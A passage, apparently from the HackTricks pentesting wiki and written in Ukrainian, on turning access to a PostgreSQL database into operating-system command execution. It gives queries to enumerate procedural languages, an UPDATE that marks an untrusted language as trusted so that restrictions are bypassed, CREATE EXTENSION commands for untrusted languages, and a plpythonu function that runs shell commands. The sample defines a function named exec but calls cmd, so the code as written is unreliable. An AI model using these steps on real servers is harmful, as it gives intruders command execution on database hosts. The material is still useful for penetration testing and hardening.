RCE з PostgreSQL мовами
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
PostgreSQL Мови
База даних PostgreSQL, до якої ви отримали доступ, може мати різні встановлені мови сценаріїв, які ви можете використовувати для виконання довільного коду.
Ви можете запустити їх:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Більшість мов сценаріїв, які ви можете встановити в PostgreSQL, мають 2 варіанти: достовірний та недостовірний. Недостовірний буде мати назву, що закінчується на "u" і буде версією, яка дозволяє вам виконувати код та використовувати інші цікаві функції. Це мови, які, якщо встановлені, є цікавими:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (будь-яка інша мова програмування, що використовує ненадійну версію)
warning
Якщо ви виявите, що цікава мова встановлена, але недостовірна за версією PostgreSQL (lanpltrusted
є false
), ви можете спробувати достовірити її за допомогою наступного рядка, щоб жодні обмеження не застосовувалися PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Щоб перевірити ваші права доступу до таблиці pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Якщо ви не бачите мови, ви можете спробувати завантажити її (вам потрібно бути суперадміністратором):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Зверніть увагу, що можливо скомпілювати безпечні версії як "ненадійні". Перевірте це для прикладу. Тому завжди варто спробувати, чи можете ви виконати код, навіть якщо ви знайшли лише достовірну версію.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Перевірте наступну сторінку:
C
Перевірте наступну сторінку:
RCE with PostgreSQL Extensions
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.